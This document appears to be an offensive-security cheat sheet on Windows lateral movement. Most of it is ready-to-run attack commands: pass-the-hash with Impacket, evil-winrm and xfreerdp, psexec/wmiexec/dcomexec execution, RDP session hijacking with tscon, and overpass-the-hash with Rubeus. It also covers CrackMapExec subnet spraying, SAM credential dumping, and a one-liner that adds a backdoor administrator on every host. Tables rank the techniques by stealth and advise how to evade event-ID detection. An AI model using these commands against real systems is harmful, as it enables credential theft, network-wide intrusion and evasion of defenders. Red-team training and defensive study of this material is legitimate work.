



◆ OFFENSIVE SECURITY SERIES ◆

LATERAL MOVEMENT

Spreading Access Across the Network

WMI · DCOM · PsExec · WinRM · RDP Hijack · Pass-the-Hash · OPtH

WMI Exec

DCOM

PsExec

WinRM

RDP Hijack

Pass-the-Hash

OPtH

RedTeamGarage (RTG) | Offensive Security Education

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01 — DECISION MATRIX

Choose the Right Method

Method	Proto	Noise	Privilege
psexec	SMB 445	HIGH (7045)	SYSTEM
smbexec	SMB 445	MEDIUM	SYSTEM
wmiexec	WMI 135	LOW	User
atexec	TSCH	MEDIUM	SYSTEM
dcomexec	DCOM 135	LOWEST	User
winrm	5985	LOW	User
RDP	3389	MEDIUM	GUI
OPtH	Kerberos	LOW	Ticket

LATERAL MOVEMENT GOLDEN RULES

Stealth order (quietest first): dcomexec > wmiexec > atexec > smbexec > psexec

Prefer Kerberos auth over NTLM — avoids NTLM 4624 Type3 events

OPtH (hash→TGT) is far stealthier than PTH (direct NTLM)

CME spray across subnet after credential harvest — map all access first



02 — PASS-THE-HASH

NTLM Hash Reuse

```
Pass-the-Hash - NTLM Hash Reuse

# CME - test hash across subnet
nxc smb 10.10.10.0/24 -u Administrator -H NTHASH --continue-on-success
# Impacket PTH
python3 psexec.py -hashes ':NTHASH' domain/admin@TARGET
python3 wmiexec.py -hashes ':NTHASH' domain/admin@TARGET
# evil-winrm PTH
evil-winrm -i TARGET -u admin -H NTHASH
# xfreerdp PTH
xfreerdp /v:TARGET /u:admin /pth:NTHASH /cert:ignore
# Mimikatz PTH - new process with token
sekurlsa::pth /user:admin /domain:target.local /ntlm:NTHASH /run:cmd.exe
```

Figure: nxc PTH spray finds 6 Pwn3d! hosts, wmiexec connects with minimal noise



03 — EXECUTION METHODS

psexec/wmiexec/dcomexec

```
psexec / wmiexec / dcomexec / smbexec / atexec

# psexec - SYSTEM via service (noisiest)
python3 psexec.py domain/admin:'P@ss!'@TARGET
python3 psexec.py -hashes ':NTHASH' domain/admin@TARGET
# wmiexec - WMI (no service, no binary drop)
python3 wmiexec.py domain/admin:'P@ss!'@TARGET
python3 wmiexec.py domain/admin:'P@ss!'@TARGET 'whoami'
# dcomexec - DCOM (lowest detection)
python3 dcomexec.py -object MMC20 domain/admin:'P@ss!'@TARGET
# smbexec - no binary upload, SYSTEM
python3 smbexec.py domain/admin:'P@ss!'@TARGET
# atexec - task scheduler
python3 atexec.py domain/admin:'P@ss!'@TARGET whoami
```

Figure: dcomexec via MMC20 achieves lowest detection — no service, no binary, WMI-free



04 — WINRM & RDP

Remote Shell & Session Hijack

```
WinRM, PowerShell Remoting & RDP Hijack

# WinRM check
nxc winrm 10.10.10.0/24 -u admin -p 'P@ss!' # Pwn3d! = accessible
evil-winrm -i TARGET -u admin -p 'P@ss!'
evil-winrm -i TARGET -u admin -H NTHASH
# PowerShell Remoting
$cred = New-Object PSCredential('DOMAIN\admin',(ConvertTo-SecureString 'P@ss!' -AsPlainText -Force))
Enter-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -ComputerName HOST1,HOST2 -Credential $cred -ScriptBlock { whoami }
# RDP connect
xfreerdp /v:TARGET /u:admin /p:'P@ss!' /cert:ignore
xfreerdp /v:TARGET /u:admin /pth:NTHASH /cert:ignore
# RDP session hijack (SYSTEM required)
query session /server:TARGET
tscon 2 /dest:console # Hijack session 2 without password!
```

Figure: tscon hijacks active DA RDP session silently — no password needed when running as SYSTEM



05 — OVERPASS-THE-HASH

Hash → Kerberos TGT

```
Overpass-the-Hash & Pass-the-Ticket

# OPtH – hash to Kerberos TGT (stealthier than PTH)
# Rubeus
Rubeus.exe asktgt /user:admin /rc4:NTHASH /domain:target.local /ptt
Rubeus.exe asktgt /user:admin /aes256:AES_KEY /domain:target.local /opsec /ptt
# Impacket
python3 getTGT.py -hashes ':NTHASH' target.local/admin
export KRB5CCNAME=admin.ccache
python3 wmiexec.py -k -no-pass target.local/admin@TARGET.target.local
# PTT – inject existing ticket
Rubeus.exe dump /service:krbtgt
Rubeus.exe ptt /ticket:BASE64
# PTH vs OPtH events:
# PTH: 4624 NTLM Type3 → NTLM monitoring alert
# OPtH: 4768 Kerberos TGT → blends with normal AD traffic
```

Figure: Rubeus requests TGT with AES key — Kerberos auth, no NTLM events generated



06 — CME LATERAL SPREAD

Automated Multi-Host

```
CrackMapExec - Automated Lateral Spread

# CME automated lateral spread
nxc smb 10.10.10.0/24 -u admin -p 'P@ss!' --continue-on-success
nxc smb 10.10.10.0/24 -u admin -H HASH -x 'whoami'
nxc smb 10.10.10.0/24 -u admin -p 'P@ss!' --sam
# Local admin hash reuse
nxc smb 10.10.10.0/24 -u Administrator -H LOCALHASH --local-auth
# Add backdoor user everywhere
nxc smb 10.10.10.0/24 -u admin -H HASH -x 'net user rtgadmin P@ss! /add && net localgroup administrators rtgadmin'
# Chain: foothold → SAM dump → hash spray → more hosts → repeat
```

Figure: CME chain — SAM from all Pwn3d! hosts, local admin hash hits 5 more machines



07 — OPSEC — EVENT IDS

Detection per Technique

Technique	Event IDs	Risk	Best Evasion
psexec	7045, 4697, 4624 NTLM	HIGH	Use wmiexec/dcomexec
wmiexec	4624 Type3, WMI log	LOW	Kerberos + off-hours
dcomexec	DCOM activation	LOWEST	Best stealth choice
winrm	4624 Type3, 4103	LOW	Use Kerberos tickets
RDP	4624 Type10, 4778	MEDIUM	Business hours
OPtH	4768 TGT request	LOW	Same as normal auth



08 — LATERAL MOVEMENT CHEAT SHEET

Quick Reference

PTH CME spray	<code>nxc smb 10.10.10.0/24 -u admin -H NTHASH --continue-on-success</code>
PTH psexec	<code>python3 psexec.py -hashes ':NTHASH' domain/admin@TARGET</code>
PTH wmiexec	<code>python3 wmiexec.py -hashes ':NTHASH' domain/admin@TARGET</code>
PTH evil-winrm	<code>evil-winrm -i TARGET -u admin -H NTHASH</code>
PTH xfreerdp	<code>xfreerdp /v:TARGET /u:admin /pth:NTHASH /cert:ignore</code>
psexec creds	<code>python3 psexec.py domain/admin:'P@ss!'@TARGET</code>
wmiexec creds	<code>python3 wmiexec.py domain/admin:'P@ss!'@TARGET</code>
dcomexec (stealthiest)	<code>python3 dcomexec.py -object MMC20 domain/admin:'P@ss!'@TARGET</code>
smbexec	<code>python3 smbexec.py domain/admin:'P@ss!'@TARGET</code>
atexec	<code>python3 atexec.py domain/admin:'P@ss!'@TARGET whoami</code>
WinRM check	<code>nxc winrm 10.10.10.0/24 -u admin -p 'P@ss!'</code>
CME exec all	<code>nxc smb 10.10.10.0/24 -u admin -H HASH -x 'whoami'</code>
CME SAM dump	<code>nxc smb 10.10.10.0/24 -u admin -p 'P@ss!' --sam</code>
Invoke-Command	<code>Invoke-Command -ComputerName TARGET -Credential \$cred -ScriptBlock { whoami }</code>
Enter-PSSession	<code>Enter-PSSession -ComputerName TARGET -Credential \$cred</code>
RDP connect	<code>xfreerdp /v:TARGET /u:admin /p:'P@ss!' /cert:ignore</code>
RDP session hijack	<code>query session → tscon SESSION_ID /dest:console (SYSTEM required)</code>
OPtH Rubeus	<code>Rubeus.exe asktgt /user:admin /rc4:NTHASH /domain:domain.local /ptt</code>
OPtH AES (OPSEC)	<code>Rubeus.exe asktgt /user:admin /aes256:AES_KEY /domain:domain.local /opsec /ptt</code>
PTT inject	<code>Rubeus.exe ptt /ticket:BASE64 OR mimikatz kerberos::ptt ticket.kirbi</code>
Kerberos wmiexec	<code>export KRB5CCNAME=admin.ccache && python3 wmiexec.py -k -no-pass domain/admin@TARGET</code>
Noise order	<code>Quietest→Loudest: dcomexec > wmiexec > winrm > atexec > smbexec > psexec</code>



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